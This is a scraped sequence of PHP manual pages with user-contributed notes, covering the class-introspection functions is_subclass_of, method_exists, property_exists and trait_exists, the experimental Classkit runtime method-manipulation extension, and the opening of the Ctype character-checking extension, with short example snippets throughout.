cesoid at yahoo dot com 05-Oct-2005 07:01
is_a returns TRUE for instances of children of the class.

For example:

class Animal
{}

class Dog extends Animal
{}

$test = new Dog();

In this example is_a($test, "Animal") would evaluate to TRUE as well as is_a($test, "Dog").

This seemed intuitive to me, but did not seem to be documented.
interface_exists
is_subclass_of
Classes/Object Functions


Checks if the object has this class as one of its parents

is_a
method_exists
Classes/Object Functions
PHP Manual

is_subclass_of

(PHP 4, PHP 5)

is_subclass_of — Checks if the object has this class as one of its parents

Description

bool is_subclass_of ( mixed $object , string $class_name [, bool $allow_string = TRUE ] )

Checks if the given object has the class class_name as one of its parents.

Parameters

object

A class name or an object instance

class_name

The class name

allow_string

Whether to call autoloader if the class doesn't exist.

Return Values

This function returns TRUE if the object object, belongs to a class which is a subclass of class_name, FALSE otherwise.

Changelog

Version | Description
5.3.9 | Added allow_string parameter
5.0.3 | You may also specify the object parameter as a string (the name of the class)

Examples

Example #1 is_subclass_of() example

<?php
// define a class
class WidgetFactory
{
  var $oink = 'moo';
}

// define a child class
class WidgetFactory_Child extends WidgetFactory
{
  var $oink = 'oink';
}

// create a new object
$WF = new WidgetFactory();
$WFC = new WidgetFactory_Child();

if (is_subclass_of($WFC, 'WidgetFactory')) {
  echo "yes, \$WFC is a subclass of WidgetFactory\n";
} else {
  echo "no, \$WFC is not a subclass of WidgetFactory\n";
}

if (is_subclass_of($WF, 'WidgetFactory')) {
  echo "yes, \$WF is a subclass of WidgetFactory\n";
} else {
  echo "no, \$WF is not a subclass of WidgetFactory\n";
}

// usable only since PHP 5.0.3
if (is_subclass_of('WidgetFactory_Child', 'WidgetFactory')) {
  echo "yes, WidgetFactory_Child is a subclass of WidgetFactory\n";
} else {
  echo "no, WidgetFactory_Child is not a subclass of WidgetFactory\n";
}
?>

The above example will output:

yes, $WFC is a subclass of WidgetFactory
no, $WF is not a subclass of WidgetFactory
yes, WidgetFactory_Child is a subclass of WidgetFactory

Notes

Note:

Using this function will use any registered autoloaders if the class is not already known.

See Also

  • get_class() - Returns the name of the class of an object
  • get_parent_class() - Retrieves the parent class name for object or class
  • is_a() - Checks if the object is of this class or has this class as one of its parents
  • class_parents() - Return the parent classes of the given class

User Contributed Notes

nicholas at aquarionics dot com 17-Mar-2009 01:02
This might be useful to someone, so:

If you're using Autoload, you should be aware that this will attempt to autoload $classname if it isn't already loaded. I discovered this when I had something using is_subclass_of inside an error thrown by autoload, which then recursed until it ran out of memory.
Damien Bezborodov 16-Mar-2009 04:55
If you need something similar to is_subclass_of() to determine if a class implements an interface before instantiating it, use reflection:

<?php

interface A_Interface {}
class A implements A_Interface {}

$reflectionA = new ReflectionClass('A');
var_dump(
    $reflectionA->implementsInterface('A_Interface')
);

?>
bool(true)
kostyl_kostyl gav-gav mail point ru 07-Mar-2009 03:08
<?php
interface I {
}
class A implements I {
}
class B extends A  {
}
if (is_subclass_of('A', 'I')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
if (is_subclass_of('B', 'I')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
if (is_subclass_of('B', 'A')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
?>

result:
bad <- you must to describe intermediate class B to be good
good
good
jm 30-Sep-2008 08:02
It would appear that is_subclass_of is case insensitive unlike get_class in php5.
i.e.

<?php
class fooBar {}
class bar extends fooBar {}

assert(get_class(new fooBar()) == "fooBar");
assert(is_subclass_of(new bar(), "foobar") == true);
?>

i run across this while migrating some code from php4 to php5 and the code would only half-the-time break.
Ondra Zizka 13-Oct-2006 05:31
For PHP4:

<?php
/** Returns whether specified class is subclass of the other class. */
function is_subclass($sClass, $sExpectedParentClass){
    do if( $sExpectedParentClass === $sClass ) return true;
    while( false != ($sClass = get_parent_class($sClass)) );
    return false;
}
// Test:
class A {} class B extends A {} class C extends B {} echo (int) is_subclass('C', 'A');
?>
gunniboyh at web dot de 20-May-2006 06:16
is_subclass_of() works also with classes between the class of obj and the superclass.

example:
<?php
class A {};
class B extends A {};
class C extends B {};

$foo=new C();
echo ((is_subclass_of($foo,'A')) ? 'true' : 'false');
?>

echoes 'true' .
01-Oct-2005 06:32
this function does not check interfaces, unlike instanceof operator.
youcantryreachingme at REMOVEME dot hotmail dot com 21-Mar-2005 06:15
A bug report at http://pear.php.net/bugs/bug.php?id=2975 indicates that the "is_subclass_of" function can return the error message:

Warning: Unknown class passed as parameter

in the event that the class represented by the second argument hasn't yet been instantiated.
is_a
method_exists
Classes/Object Functions


Checks if the class method exists

is_subclass_of
property_exists
Classes/Object Functions
PHP Manual

method_exists

(PHP 4, PHP 5)

method_exists — Checks if the class method exists

Description

bool method_exists ( mixed $object , string $method_name )

Checks if the class method exists in the given object.

Parameters

object

An object instance or a class name

method_name

The method name

Return Values

Returns TRUE if the method given by method_name has been defined for the given object, FALSE otherwise.

Notes

Note:

Using this function will use any registered autoloaders if the class is not already known.

Examples

Example #1 method_exists() example

<?php
$directory = new Directory('.');
var_dump(method_exists($directory,'read'));
?>

The above example will output:

bool(true)

Example #2 Static method_exists() example

<?php
var_dump(method_exists('Directory','read'));
?>

The above example will output:

bool(true)

See Also

  • function_exists() - Return TRUE if the given function has been defined
  • is_callable() - Verify that the contents of a variable can be called as a function
  • class_exists() - Checks if the class has been defined

User Contributed Notes

Niels 11-May-2011 12:45
Just to mention it: both method_exists() and is_callable() return true for inherited methods:

<?php
class ParentClass {

   function doParent() { }
}

class ChildClass extends ParentClass { }

$p = new ParentClass();
$c = new ChildClass();

// all return true
var_dump(method_exists($p, 'doParent'));
var_dump(method_exists($c, 'doParent'));

var_dump(is_callable(array($p, 'doParent')));
var_dump(is_callable(array($c, 'doParent')));
?>
mail at bartrail dot de 25-Apr-2011 10:06
Using method_exists inside an object's __call() method can be very usefull if you want to avoid to get a fatal error because of a limit in function nesting or if you are calling methods that dont exist but need to continue in your application:

<?php
class Something
{

    /**
     * Call a method dynamically
     *
     * @param string $method
     * @param array $args
     * @return mixed
     */
    public function __call($method, $args)
    {
        if(method_exists($this, $method)) {
          return call_user_func_array(array($this, $method), $args);
        }else{
          throw new Exception(sprintf('The required method "%s" does not exist for %s', $method, get_class($this)));
        }
    }

}
?>
phoenix at todofixthis dot com 21-Dec-2010 09:13
As noted [elsewhere] method_exists() does not care about the existence of __call(), whereas is_callable() does:

<?php
class Test {
  public function explicit(  ) {
      // ...
  }

  public function __call( $meth, $args ) {
      // ...
  }
}

$Tester = new Test();

var_export(method_exists($Tester, 'anything')); // false
var_export(is_callable(array($Tester, 'anything'))); // true
?>
buggedcom 18-Aug-2010 11:02
Be warned that the class must exist before calling method exists from an eval statement otherwise you will get a Signal Bus error.
uramihsayibok, gmail, com 06-Aug-2010 10:09
It wasn't spelled out but could be inferred: method_exists() also works on interfaces.

<?php

var_dump(method_exists("Iterator", "current"));
// bool(true)

?>
Anonymous 08-May-2010 05:20
If you want to check in a class itself if a method is known you may do so with magic variable __CLASS__

<?php

class A{
  __construct($method){
      return method_exists(__CLASS__,$method);
  }

  private function foo(){

  }
}

$test = new A('foo');
//should return true

?>

You might also use the method describe below with <?php in_array() ?> trick but I consider this one here easier and more readable and well, the way it is intended toi be done ;)
admin ( at ) djokodonev dot com 16-Oct-2009 04:30
Hi,

Here is a useful function that  you can use to check classes methods access e.g whether it is public, private or static or both..

here it goes:

<?php
// Example class
class myClass {

    private $private1;

    static $static1;

    public $public1;

    public function publ() {

    }

    private function priv() {

    }

    private static function privstatic() {

    }

    public static function publstatic() {

    }

    static function mytest() {

    }
}

// The function uses the reflection class that is built into PHP!!!
// The purpose is to determine the type of a certain method that exi
function is_class_method($type="public", $method, $class) {
   // $type = mb_strtolower($type);
    $refl = new ReflectionMethod($class, $method);
    switch($type) {
        case "static":
        return $refl->isStatic();
        break;
        case "public":
        return $refl->isPublic();
        break;
        case "private":
        return $refl->isPrivate();
        break;
    }
}
var_dump(is_class_method("static", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "privstatic", "myClass")); // true - the method is  private and also static..
var_dump(is_class_method("private", "publstatic", "myClass")); // False the methos is public and also static not private
 // you get the idea.. I hope this helps someone..
?>
florin from syneto net 07-Oct-2009 07:34
This function is case-insensitive (as is PHP) and here is the proof:
<?php
class A {
    public function FUNC() { echo '*****'; }
}

$a = new A();
$a->func(); // *****
var_dump(method_exists($a, 'func')); // bool(true)
?>
jp at function dot fi 30-Apr-2006 02:29
As mentioned before, is_callable and method_exists report all methods callable even if they are private/protected and thus actually not callable. So instead of those functions you may use following work-around which reports methods as supposed to.

<?php
class Foo1 {
  public function bar() {
    echo "I'm private Foo1::bar()";
  }
}

class Foo2 {
  private function bar() {
    echo "I'm public Foo2::bar()";
  }
}

$f1=new Foo1;
$f2=new Foo2;

if(is_callable(array($f1,"bar"))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(is_callable(array($f2,"bar"))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f1))) {
    echo "Foo1::bar() is callable";
} else {
    echo "Foo1::bar() isn't callable";
}
if(in_array("bar",get_class_methods($f2))) {
    echo "Foo2::bar() is callable";
} else {
    echo "Foo2::bar() isn't callable";
}

?>

output
Foo1::bar() is callable (correct)
Foo2::bar() is callable (incorrect)
Foo1::bar() is callable (correct)
Foo2::bar() isn't callable (correct)

?>
seufert at gmail dot com 26-Apr-2006 06:27
Just a note that the behaviour of this function changed between version 5.0.x and 5.1.x when using static member functions

Using this code:
<?php
class a {
    static function test() {return "A";}
}
if(method_exists('a','test'))
    print call_user_func(array('a','test'));
else
    print "Nothing";
?>
PHP 5.1.x returns "A"
PHP 5.0.x returns "Nothing"

Im not sure of a workaround for PHP 5.0.x yet.
spam at majiclab dot com 31-Jan-2006 08:33
Both method_exists() and is_callable() return private and protected functions, which, as mentioned below, causes problems for PHP5/OO programming.  You can use get_class_methods() with either an $instance of a class or the 'ClassName' to get only public functions.
daniel at softel dot jp 09-Jan-2006 07:34
Note that in PHP5, method_exists() will sucessfully find *private* methods. This has some OO/data-hiding ramifications.
jpgiot at nospam ifrance.com 06-May-2004 07:42
a little difference :

to find a method of an object (instance of a class)

<?php
if (method_exists($myinstance,'themethod'))
    echo 'ok';
?>

to find a method of a class (using the class name, not the instance of the class!)

<?php
if (is_callable(array('theclassname','themethod')))
    echo 'ok';
?>
Thomas@ThBeckmann 31-Jan-2003 01:47
Though, as Bejamin noted, it's not possible to use the class name in method_exists within the class definition, get_class_methods delivers the method names for a given class name even inside the class. Thus another workaround for the mentioned problem is to use in_array(<method_name>, get_class_methods(<class_name>))
benjamin_ansbach at web dot de 27-Dec-2002 12:49
if you want to check for a method "inside" of a class use:

method_exists($this, 'function_name')

i was a bit confused 'cause i thought i'm only able to check for a method when i got an object like $object_name = new class_name() with:

method_exists($object_name, 'method_name')

small example for those who didn't understood what i mean ( maybe caused by bad english :) ):

<?php

class a {

    function a() {

        if(method_exists($this, 'test'))
            echo 'a::test() exists!';
        else
            echo 'a::test() doesn\'t exists';

    }

    function test() {

        return true;

    }

}

$b = new a();

?>

the output will be: a::test() exists!

maybe this will help someone
j dot metzger at steptown dot com 16-Jan-2002 03:42
call_user_method uses the same mechanism as a normal method call. So you can get the returned values as well in this way.

$pagetext=call_user_method($method,$object_call);

All information is then in $pagetext.
is_subclass_of
property_exists
Classes/Object Functions


Checks if the object or class has a property

method_exists
trait_exists
Classes/Object Functions
PHP Manual

property_exists

(PHP 5 >= 5.1.0)

property_exists — Checks if the object or class has a property

Description

bool property_exists ( mixed $class , string $property )

This function checks if the given property exists in the specified class.

Note:

As opposed with isset(), property_exists() returns TRUE even if the property has the value NULL.

Parameters

class

The class name or an object of the class to test for

property

The name of the property

Return Values

Returns TRUE if the property exists, FALSE if it doesn't exist or NULL in case of an error.

Notes

Note:

Using this function will use any registered autoloaders if the class is not already known.

Note:

The property_exists() function cannot detect properties that are magically accessible using the __get magic method.

Changelog

Version | Description
5.3.0 | This function checks the existence of a property independent of accessibility.

Examples

Example #1 A property_exists() example

<?php

class myClass {
    public $mine;
    private $xpto;
    static protected $test;

    static function test() {
        var_dump(property_exists('myClass', 'xpto')); //true
    }
}

var_dump(property_exists('myClass', 'mine'));   //true
var_dump(property_exists(new myClass, 'mine')); //true
var_dump(property_exists('myClass', 'xpto'));   //true, as of PHP 5.3.0
var_dump(property_exists('myClass', 'bar'));    //false
var_dump(property_exists('myClass', 'test'));   //true, as of PHP 5.3.0
myClass::test();

?>

See Also

  • method_exists() - Checks if the class method exists

User Contributed Notes

foddex at foddex dot net 22-Dec-2010 01:56
Note that before PHP 5.3.3, this function fails for private properties in base classes (which is fixed in 5.3.3)

<?php
class Base {
        private $var = 1;

        public function test() {
                var_dump( property_exists( $this, 'var' ) );
        }
}

class Derived extends Base {
}

$b = new Base();
$b->test();
$d = new Derived();
$d->test();
?>

Executing this code with PHP 5.0 <= x < 5.3 this script echoes (incorrect result):
bool(true)
bool(false)

Executing this code with PHP 5.3 this script echoes (correct result):
bool(true)
bool(true)
webmaster at thedigitalorchard dot ca 24-Apr-2010 09:56
According to my tests, isset() is 4 times faster than property_exists(), so use a combination of these functions in your programming for best performance.

For example:

<?php

$fld = 'somevar';

if (isset($this->$fld) || property_exists($this, $fld)) {

}

?>

If your programming routinely checks a larger number of property names that are expected to exist, whereas a smaller number may not, then using isset(), as above, will result in faster execution of the programming.
peter at nonumber dot nl 27-Aug-2008 02:48
The above PHP4 function did not work for me. This does:

<?php
if ( !function_exists( 'property_exists' ) ) {
    function property_exists( $class, $property ) {
        if ( is_object( $class ) ) {
            $vars = get_object_vars( $class );
        } else {
            $vars = get_class_vars( $class );
        }
        return array_key_exists( $property, $vars );
    }
}
?>
rayro at gmx dot de 11-Nov-2007 04:49
To check the existance of a property from outside the scope (even if it's not accessible) try/consider the following:

<?php
function property_exists_safe($class, $prop)
{
  $r = property_exists($class, $prop);
  if (!$r) {
    $x = new ReflectionClass($class);
    $r = $x->hasProperty($prop);
  }
  return $r;
}

class myClass {
    public $mine;
    private $xpto;

    static function test1() {
        // true, it can be accessed from here
        var_dump(property_exists('myClass', 'xpto'));
    }

    static function test2() {
        // true, it can be accessed from everywhere!
        var_dump(property_exists_safe('myClass', 'xpto'));
    }
}

var_dump(property_exists('myClass', 'mine')); //true
var_dump(property_exists(new myClass, 'mine')); //true
var_dump(property_exists('myClass', 'xpto')); //false, isn't public
myClass::test1();
echo("\n");
var_dump(property_exists_safe('myClass', 'mine')); //true
var_dump(property_exists_safe(new myClass, 'mine')); //true
var_dump(property_exists_safe('myClass', 'xpto')); //true
myClass::test2(); //true
?>

bool(true)
bool(true)
bool(false)
bool(true)

bool(true)
bool(true)
bool(true)
bool(true)
caist at caist dot com 14-Oct-2007 06:19
A niet way to copy properties from one object to another avoiding stuff like:

$obj2 -> prop1 = $obj1 -> prop1;
$obj2 -> prop2 = $obj1 -> prop2;
$obj2 -> prop3 = $obj1 -> prop3;

...is this loop through all properties:

// copies all property values from obj1 to obj2
foreach ($obj1 as $prop_name => $prop_value)
{
    if (property_exists(get_class($obj2), $prop_name))
                 $obj2 -> {$prop_name} = $prop_value;
}
K 13-Jul-2007 01:11
to ssettl2 at google's mail >

1) Use self:: in static methods : http://php.net/language.oop5.static

2) Under the description title of this page : "This function checks if the given property exists in the specified class (and if it is ACCESSIBLE FROM THE CURRENT SCOPE)."

This is normal behaviour in PHP5.

Regards
Alan71 07-Aug-2006 10:57
This function is case-sensitive, so :

<?php
class Test {
   public $property;

   public foo() { echo($property); }
}

property_exists('Test', 'property');   // will return true
property_exists('Test', 'Property');   // will return false
?>

(under PHP5.1.2)
jcaplan at bogus dot amazon dot com 08-Jun-2006 02:35
The documentation leaves out the important case of new properties you add to objects at run time.  In fact, property_exists will return true if you ask it about such properties.

<?
class Y {}
$y = new Y;

echo isset( $y->prop ) ? "yes\n" : "no\n"; // no;
echo property_exists( 'Y', 'prop' ) ? "yes\n" : "no\n"; // no
echo property_exists( $y, 'prop' ) ? "yes\n" : "no\n"; // no

$y->prop = null;

echo isset( $y->prop ) ? "yes\n" : "no\n"; // no;
echo property_exists( 'Y', 'prop' ) ? "yes\n" : "no\n"; // no
echo property_exists( $y, 'prop' ) ? "yes\n" : "no\n"; // yes
?>
Pete W 01-Jun-2006 11:52
In a similar vein to the previous note, To check in PHP4 if an object has a property, even if the property is null:

<?php

if(array_key_exists('propertyName',get_object_vars($myObj)))
{
  // ..the property has been defined
}
?>
timshel 14-Nov-2005 04:20
I haven't tested this with the exact function semantics of 5.1, but this code should implement this function in php < 5.1:

<?php
if (!function_exists('property_exists')) {
  function property_exists($class, $property) {
    if (is_object($class))
      $class = get_class($class);

    return array_key_exists($property, get_class_vars($class));
  }
}
?>
method_exists
trait_exists
Classes/Object Functions


Checks if the trait exists

property_exists
Classkit
Classes/Object Functions
PHP Manual

trait_exists

(No version information available, might only be in SVN)

trait_exists — Checks if the trait exists

Description

bool trait_exists ( string $traitname [, bool $autoload ] )

Parameters

traitname

Name of the trait to check

autoload

Whether to autoload if not already loaded.

Return Values

Returns TRUE if trait exists, FALSE if not, NULL in case of an error.

User Contributed Notes

There are no user contributed notes for this page.
property_exists
Classkit
Classes/Object Functions


Classkit

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Classkit Functions
    • classkit_import — Import new class method definitions from a file
    • classkit_method_add — Dynamically adds a new method to a given class
    • classkit_method_copy — Copies a method from class to another
    • classkit_method_redefine — Dynamically changes the code of the given method
    • classkit_method_remove — Dynamically removes the given method
    • classkit_method_rename — Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.
trait_exists
Introduction
Variable and Type Related Extensions


Introduction

These functions allow the dynamic manipulation of PHP classes, at runtime.

Note:

This extension has been replaced by runkit, which is not limited to class manipulation but has function manipulation, as well.

User Contributed Notes

There are no user contributed notes for this page.
Classkit
Installing/Configuring
Classkit


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Classkit


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/classkit.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CLASSKIT_ACC_PRIVATE (int)
Marks the method private
CLASSKIT_ACC_PROTECTED (int)
Marks the method protected
CLASSKIT_ACC_PUBLIC (int)
Marks the method public

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Classkit Functions
Classkit


Classkit Functions

Table of Contents

  • classkit_import — Import new class method definitions from a file
  • classkit_method_add — Dynamically adds a new method to a given class
  • classkit_method_copy — Copies a method from class to another
  • classkit_method_redefine — Dynamically changes the code of the given method
  • classkit_method_remove — Dynamically removes the given method
  • classkit_method_rename — Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
classkit_import
Classkit


Import new class method definitions from a file

Classkit Functions
classkit_method_add
Classkit Functions
PHP Manual

classkit_import

(PECL classkit >= 0.3)

classkit_import — Import new class method definitions from a file

Description

array classkit_import ( string $filename )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

filename

The filename of the class method definitions to import

Return Values

Associative array of imported methods

Examples

Example #1 classkit_import() example

<?php
// file: newclass.php
class Example {
    function foo() {
        return "bar!\n";
    }
}
?>
<?php
// requires newclass.php (see above)
class Example {
    function foo() {
        return "foo!\n";
    }
}

$e = new Example();

// output original
echo $e->foo();

// import replacement method
classkit_import('newclass.php');

// output imported
echo $e->foo();

?>

The above example will output:

foo!
bar!

See Also

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_copy() - Copies a method from class to another

User Contributed Notes

There are no user contributed notes for this page.
Classkit Functions
classkit_method_add
Classkit Functions


Dynamically adds a new method to a given class

classkit_import
classkit_method_copy
Classkit Functions
PHP Manual

classkit_method_add

(PECL classkit >= 0.1)

classkit_method_add — Dynamically adds a new method to a given class

Description

bool classkit_method_add ( string $classname , string $methodname , string $args , string $code [, int $flags = CLASSKIT_ACC_PUBLIC ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class to which this method will be added

methodname

The name of the method to add

args

Comma-delimited list of arguments for the newly-created method

code

The code to be evaluated when methodname is called

flags

The type of method to create, can be CLASSKIT_ACC_PUBLIC, CLASSKIT_ACC_PROTECTED or CLASSKIT_ACC_PRIVATE

Note:

This parameter is only used as of PHP 5, because, prior to this, all methods were public.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 classkit_method_add() example

<?php
class Example {
    function foo() {
        echo "foo!\n";
    }
}

// create an Example object
$e = new Example();

// Add a new public method
classkit_method_add(
    'Example',
    'add',
    '$num1, $num2',
    'return $num1 + $num2;',
    CLASSKIT_ACC_PUBLIC
);

// add 12 + 4
echo $e->add(12, 4);
?>

The above example will output:

16

See Also

  • classkit_method_copy() - Copies a method from class to another
  • classkit_method_redefine() - Dynamically changes the code of the given method
  • classkit_method_remove() - Dynamically removes the given method
  • classkit_method_rename() - Dynamically changes the name of the given method
  • create_function() - Create an anonymous (lambda-style) function

User Contributed Notes

Lester 03-Apr-2008 09:54
If you creates methods by using classkit_method_add(), they are not visible in get_class_methods().

class A
{
       public function foo()
       {
            return "foo!\n";
       }
}

classkit_method_redefine('A','bar','','return "bar !\n";',CLASSKIT_ACC_PUBLIC);

print_r(get_class_methods('A'));
// writes only "foo"
classkit_import
classkit_method_copy
Classkit Functions


Copies a method from class to another

classkit_method_add
classkit_method_redefine
Classkit Functions
PHP Manual

classkit_method_copy

(PECL classkit >= 0.2)

classkit_method_copy — Copies a method from class to another

Description

bool classkit_method_copy ( string $dClass , string $dMethod , string $sClass [, string $sMethod ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

dClass

Destination class for copied method

dMethod

Destination method name

sClass

Source class of the method to copy

sMethod

Name of the method to copy from the source class. If this parameter is omitted, the value of dMethod is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 classkit_method_copy() example

<?php
class Foo {
    function example() {
        return "foo!\n";
    }
}

class Bar {
    // initially, no methods
}

// copy the example() method from the Foo class to the Bar class, as baz()
classkit_method_copy('Bar', 'baz', 'Foo', 'example');

// output copied function
echo Bar::baz();
?>

The above example will output:

foo!

See Also

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_redefine() - Dynamically changes the code of the given method
  • classkit_method_remove() - Dynamically removes the given method
  • classkit_method_rename() - Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.
classkit_method_add
classkit_method_redefine
Classkit Functions


Dynamically changes the code of the given method

classkit_method_copy
classkit_method_remove
Classkit Functions
PHP Manual

classkit_method_redefine

(PECL classkit >= 0.1)

classkit_method_redefine — Dynamically changes the code of the given method

Description

bool classkit_method_redefine ( string $classname , string $methodname , string $args , string $code [, int $flags = CLASSKIT_ACC_PUBLIC ] )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to redefine the method

methodname

The name of the method to redefine

args

Comma-delimited list of arguments for the redefined method

code

The new code to be evaluated when methodname is called

flags

The redefined method can be CLASSKIT_ACC_PUBLIC, CLASSKIT_ACC_PROTECTED or CLASSKIT_ACC_PRIVATE

Note:

This parameter is only used as of PHP 5, because, prior to this, all methods were public.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 classkit_method_redefine() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// create an Example object
$e = new Example();

// output Example::foo() (before redefine)
echo "Before: " . $e->foo();

// Redefine the 'foo' method
classkit_method_redefine(
    'Example',
    'foo',
    '',
    'return "bar!\n";',
    CLASSKIT_ACC_PUBLIC
);

// output Example::foo() (after redefine)
echo "After: " . $e->foo();
?>

The above example will output:

Before: foo!
After: bar!

See Also

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_copy() - Copies a method from class to another
  • classkit_method_remove() - Dynamically removes the given method
  • classkit_method_rename() - Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.
classkit_method_copy
classkit_method_remove
Classkit Functions


Dynamically removes the given method

classkit_method_redefine
classkit_method_rename
Classkit Functions
PHP Manual

classkit_method_remove

(PECL classkit >= 0.1)

classkit_method_remove — Dynamically removes the given method

Description

bool classkit_method_remove ( string $classname , string $methodname )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to remove the method

methodname

The name of the method to remove

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 classkit_method_remove() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }

    function bar() {
        return "bar!\n";
    }
}

// Remove the 'foo' method
classkit_method_remove(
    'Example',
    'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

The above example will output:

bar

See Also

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_copy() - Copies a method from class to another
  • classkit_method_redefine() - Dynamically changes the code of the given method
  • classkit_method_rename() - Dynamically changes the name of the given method

User Contributed Notes

There are no user contributed notes for this page.
classkit_method_redefine
classkit_method_rename
Classkit Functions


Dynamically changes the name of the given method

classkit_method_remove
Ctype
Classkit Functions
PHP Manual

classkit_method_rename

(PECL classkit >= 0.1)

classkit_method_rename — Dynamically changes the name of the given method

Description

bool classkit_method_rename ( string $classname , string $methodname , string $newname )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to rename the method

methodname

The name of the method to rename

newname

The new name to give to the renamed method

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 classkit_method_rename() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// Rename the 'foo' method to 'bar'
classkit_method_rename(
    'Example',
    'foo',
    'bar'
);

// output renamed function
echo Example::bar();
?>

The above example will output:

foo!

See Also

  • classkit_method_add() - Dynamically adds a new method to a given class
  • classkit_method_copy() - Copies a method from class to another
  • classkit_method_redefine() - Dynamically changes the code of the given method
  • classkit_method_remove() - Dynamically removes the given method

User Contributed Notes

There are no user contributed notes for this page.
classkit_method_remove
Ctype
Classkit Functions


Character type checking

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Ctype Functions
    • ctype_alnum — Check for alphanumeric character(s)
    • ctype_alpha — Check for alphabetic character(s)
    • ctype_cntrl — Check for control character(s)
    • ctype_digit — Check for numeric character(s)
    • ctype_graph — Check for any printable character(s) except space
    • ctype_lower — Check for lowercase character(s)
    • ctype_print — Check for printable character(s)
    • ctype_punct — Check for any printable character which is not whitespace or an alphanumeric character
    • ctype_space — Check for whitespace character(s)
    • ctype_upper — Check for uppercase character(s)
    • ctype_xdigit — Check for character(s) representing a hexadecimal digit

User Contributed Notes

There are no user contributed notes for this page.
classkit_method_rename
Introduction
Variable and Type Related Extensions


Introduction

The functions provided by this extension check whether a character or string falls into a certain character class according to the current locale (see also setlocale()).

When called with an integer argument these functions behave exactly like their C counterparts from ctype.h. It means that if you pass an integer smaller than 256 it will use the ASCII value of it to see if it fits in the specified range (digits are in 0x30-0x39). If the number is between -128 and -1 inclusive then 256 will be added and the check will be done on that.

When called with a string argument they will check every character in the string and will only return TRUE if every character in the string matches the requested criteria. When called with an empty string the result will always be TRUE in PHP < 5.1 and FALSE since 5.1.

Passing anything else but a string or integer will return FALSE immediately.

It should be noted that ctype functions are always preferred over regular expressions, and even to some equivalent str_* and is_* functions. This is because of the fact that ctype uses a native C library and thus processes significantly faster.

User Contributed Notes

There are no user contributed notes for this page.
Ctype
Installing/Configuring
Ctype


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Ctype


Requirements

None besides functions from the standard C library which are always available.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Beginning with PHP 4.2.0 these functions are enabled by default. For older versions you have to configure and compile PHP with --enable-ctype . You can disable ctype support with --disable-ctype .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note: Builtin support for ctype is available with PHP 4.3.0.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Ctype Functions
Ctype


Ctype Functions

Table of Contents

  • ctype_alnum — Check for alphanumeric character(s)
  • ctype_alpha — Check for alphabetic character(s)
  • ctype_cntrl — Check for control character(s)
  • ctype_digit — Check for numeric character(s)
  • ctype_graph — Check for any printable character(s) except space
  • ctype_lower — Check for lowercase character(s)
  • ctype_print — Check for printable character(s)
  • ctype_punct — Check for any printable character which is not whitespace or an alphanumeric character
  • ctype_space — Check for whitespace character(s)
  • ctype_upper — Check for uppercase character(s)
